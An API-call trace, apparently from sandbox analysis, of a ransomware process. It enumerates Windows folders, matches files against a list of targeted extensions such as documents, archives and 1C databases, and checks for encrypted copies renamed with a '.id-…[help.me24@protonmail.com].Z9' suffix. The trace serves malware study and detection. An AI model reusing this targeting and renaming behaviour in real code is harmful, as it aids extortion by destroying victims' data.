	[0159.633] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.633] lstrlenW (lpString=".jpg") returned 4
	[0159.633] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0159.633] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.633] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.633] lstrlenW (lpString=".doc") returned 4
	[0159.633] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0159.633] lstrlenW (lpString=".docx") returned 5
	[0159.633] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0159.634] lstrlenW (lpString=".pdf") returned 4
	[0159.634] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0159.634] lstrlenW (lpString=".xls") returned 4
	[0159.634] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0159.634] lstrlenW (lpString=".xlsx") returned 5
	[0159.634] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0159.634] lstrlenW (lpString=".ppt") returned 4
	[0159.634] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0159.634] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.634] lstrlenW (lpString=".zip") returned 4
	[0159.634] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0159.634] lstrlenW (lpString=".rar") returned 4
	[0159.634] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0159.634] lstrlenW (lpString=".bz2") returned 4
	[0159.634] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0159.634] lstrlenW (lpString=".7z") returned 3
	[0159.634] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0159.634] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.634] lstrlenW (lpString=".dbf") returned 4
	[0159.634] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0159.634] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.634] lstrlenW (lpString=".1cd") returned 4
	[0159.634] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0159.634] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0159.634] lstrlenW (lpString=".jpg") returned 4
	[0159.634] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0159.634] Sleep (dwMilliseconds=0x64) 
	[0160.316] Sleep (dwMilliseconds=0x64) 
	[0160.630] lstrcmpiW (lpString1=".LOG", lpString2=".Z9") returned -1
	[0160.630] lstrlenW (lpString="BCD.LOG") returned 7
	[0160.630] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString=".doc") returned 4
	[0160.631] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0160.631] lstrlenW (lpString=".docx") returned 5
	[0160.631] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0160.631] lstrlenW (lpString=".pdf") returned 4
	[0160.631] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0160.631] lstrlenW (lpString=".xls") returned 4
	[0160.631] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0160.631] lstrlenW (lpString=".xlsx") returned 5
	[0160.631] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0160.631] lstrlenW (lpString=".ppt") returned 4
	[0160.631] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0160.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString=".zip") returned 4
	[0160.631] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0160.631] lstrlenW (lpString=".rar") returned 4
	[0160.631] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0160.631] lstrlenW (lpString=".bz2") returned 4
	[0160.631] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0160.631] lstrlenW (lpString=".7z") returned 3
	[0160.631] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0160.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString=".dbf") returned 4
	[0160.631] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0160.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString=".1cd") returned 4
	[0160.631] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0160.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString=".jpg") returned 4
	[0160.631] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0160.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.631] lstrlenW (lpString=".doc") returned 4
	[0160.631] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0160.631] lstrlenW (lpString=".docx") returned 5
	[0160.631] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0160.631] lstrlenW (lpString=".pdf") returned 4
	[0160.632] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0160.632] lstrlenW (lpString=".xls") returned 4
	[0160.632] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0160.632] lstrlenW (lpString=".xlsx") returned 5
	[0160.632] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0160.632] lstrlenW (lpString=".ppt") returned 4
	[0160.632] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0160.632] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.632] lstrlenW (lpString=".zip") returned 4
	[0160.632] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0160.632] lstrlenW (lpString=".rar") returned 4
	[0160.632] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0160.632] lstrlenW (lpString=".bz2") returned 4
	[0160.632] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0160.632] lstrlenW (lpString=".7z") returned 3
	[0160.632] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0160.632] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.632] lstrlenW (lpString=".dbf") returned 4
	[0160.632] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0160.632] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.632] lstrlenW (lpString=".1cd") returned 4
	[0160.632] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0160.632] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0160.632] lstrlenW (lpString=".jpg") returned 4
	[0160.632] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0160.632] Sleep (dwMilliseconds=0x64) 
	[0160.915] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.915] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0160.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.919] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=111320) returned 1
	[0160.919] CloseHandle (hObject=0x394) returned 1
	[0160.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0160.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.919] lstrlenW (lpString=".doc") returned 4
	[0160.919] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.919] lstrlenW (lpString=".docx") returned 5
	[0160.919] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.919] lstrlenW (lpString=".pdf") returned 4
	[0160.919] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.919] lstrlenW (lpString=".xls") returned 4
	[0160.919] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.919] lstrlenW (lpString=".xlsx") returned 5
	[0160.919] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.919] lstrlenW (lpString=".ppt") returned 4
	[0160.919] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.919] lstrlenW (lpString=".zip") returned 4
	[0160.919] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.919] lstrlenW (lpString=".rar") returned 4
	[0160.919] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".bz2") returned 4
	[0160.920] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".7z") returned 3
	[0160.920] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.920] lstrlenW (lpString=".dbf") returned 4
	[0160.920] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.920] lstrlenW (lpString=".1cd") returned 4
	[0160.920] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.920] lstrlenW (lpString=".jpg") returned 4
	[0160.920] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.920] lstrlenW (lpString=".doc") returned 4
	[0160.920] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".docx") returned 5
	[0160.920] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.920] lstrlenW (lpString=".pdf") returned 4
	[0160.920] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".xls") returned 4
	[0160.920] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".xlsx") returned 5
	[0160.920] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.920] lstrlenW (lpString=".ppt") returned 4
	[0160.920] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.920] lstrlenW (lpString=".zip") returned 4
	[0160.920] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".rar") returned 4
	[0160.920] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.920] lstrlenW (lpString=".bz2") returned 4
	[0160.921] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.921] lstrlenW (lpString=".7z") returned 3
	[0160.921] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.921] lstrlenW (lpString=".dbf") returned 4
	[0160.921] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.921] lstrlenW (lpString=".1cd") returned 4
	[0160.921] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0160.921] lstrlenW (lpString=".jpg") returned 4
	[0160.921] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.921] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.921] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0160.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.927] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=48936) returned 1
	[0160.927] CloseHandle (hObject=0x394) returned 1
	[0160.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0160.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.927] lstrlenW (lpString=".doc") returned 4
	[0160.927] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.927] lstrlenW (lpString=".docx") returned 5
	[0160.927] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0160.927] lstrlenW (lpString=".pdf") returned 4
	[0160.927] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.927] lstrlenW (lpString=".xls") returned 4
	[0160.927] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.927] lstrlenW (lpString=".xlsx") returned 5
	[0160.927] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0160.927] lstrlenW (lpString=".ppt") returned 4
	[0160.927] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString=".zip") returned 4
	[0160.928] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString=".rar") returned 4
	[0160.928] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString=".bz2") returned 4
	[0160.928] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString=".7z") returned 3
	[0160.928] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString=".dbf") returned 4
	[0160.928] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString=".1cd") returned 4
	[0160.928] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString=".jpg") returned 4
	[0160.928] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString=".doc") returned 4
	[0160.928] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString=".docx") returned 5
	[0160.928] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0160.928] lstrlenW (lpString=".pdf") returned 4
	[0160.928] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString=".xls") returned 4
	[0160.928] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString=".xlsx") returned 5
	[0160.928] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0160.928] lstrlenW (lpString=".ppt") returned 4
	[0160.928] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.928] lstrlenW (lpString=".zip") returned 4
	[0160.928] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.929] lstrlenW (lpString=".rar") returned 4
	[0160.929] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.929] lstrlenW (lpString=".bz2") returned 4
	[0160.929] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.929] lstrlenW (lpString=".7z") returned 3
	[0160.929] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.929] lstrlenW (lpString=".dbf") returned 4
	[0160.929] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.929] lstrlenW (lpString=".1cd") returned 4
	[0160.929] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0160.929] lstrlenW (lpString=".jpg") returned 4
	[0160.929] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.929] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0160.929] lstrlenW (lpString="boxed-split.avi") returned 15
	[0160.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.942] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=84190) returned 1
	[0160.942] CloseHandle (hObject=0x394) returned 1
	[0160.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0160.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.962] lstrlenW (lpString=".doc") returned 4
	[0160.962] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.962] lstrlenW (lpString=".docx") returned 5
	[0160.962] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.962] lstrlenW (lpString=".pdf") returned 4
	[0160.962] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.962] lstrlenW (lpString=".xls") returned 4
	[0160.962] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.962] lstrlenW (lpString=".xlsx") returned 5
	[0160.962] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.963] lstrlenW (lpString=".ppt") returned 4
	[0160.963] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.963] lstrlenW (lpString=".zip") returned 4
	[0160.963] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString=".rar") returned 4
	[0160.963] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString=".bz2") returned 4
	[0160.963] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString=".7z") returned 3
	[0160.963] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.963] lstrlenW (lpString=".dbf") returned 4
	[0160.963] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.963] lstrlenW (lpString=".1cd") returned 4
	[0160.963] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.963] lstrlenW (lpString=".jpg") returned 4
	[0160.963] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.963] lstrlenW (lpString=".doc") returned 4
	[0160.963] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString=".docx") returned 5
	[0160.963] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0160.963] lstrlenW (lpString=".pdf") returned 4
	[0160.963] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString=".xls") returned 4
	[0160.963] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0160.963] lstrlenW (lpString=".xlsx") returned 5
	[0160.963] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0160.963] lstrlenW (lpString=".ppt") returned 4
	[0160.963] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0160.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.964] lstrlenW (lpString=".zip") returned 4
	[0160.964] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0160.964] lstrlenW (lpString=".rar") returned 4
	[0160.964] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0160.964] lstrlenW (lpString=".bz2") returned 4
	[0160.964] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0160.964] lstrlenW (lpString=".7z") returned 3
	[0160.964] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0160.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.964] lstrlenW (lpString=".dbf") returned 4
	[0160.964] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.964] lstrlenW (lpString=".1cd") returned 4
	[0160.964] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0160.964] lstrlenW (lpString=".jpg") returned 4
	[0160.964] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.964] Sleep (dwMilliseconds=0x64) 
	[0161.095] Sleep (dwMilliseconds=0x64) 
	[0161.336] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.339] lstrlenW (lpString="auxpad.xml") returned 10
	[0161.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.341] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=212) returned 1
	[0161.341] CloseHandle (hObject=0x39c) returned 1
	[0161.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0161.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
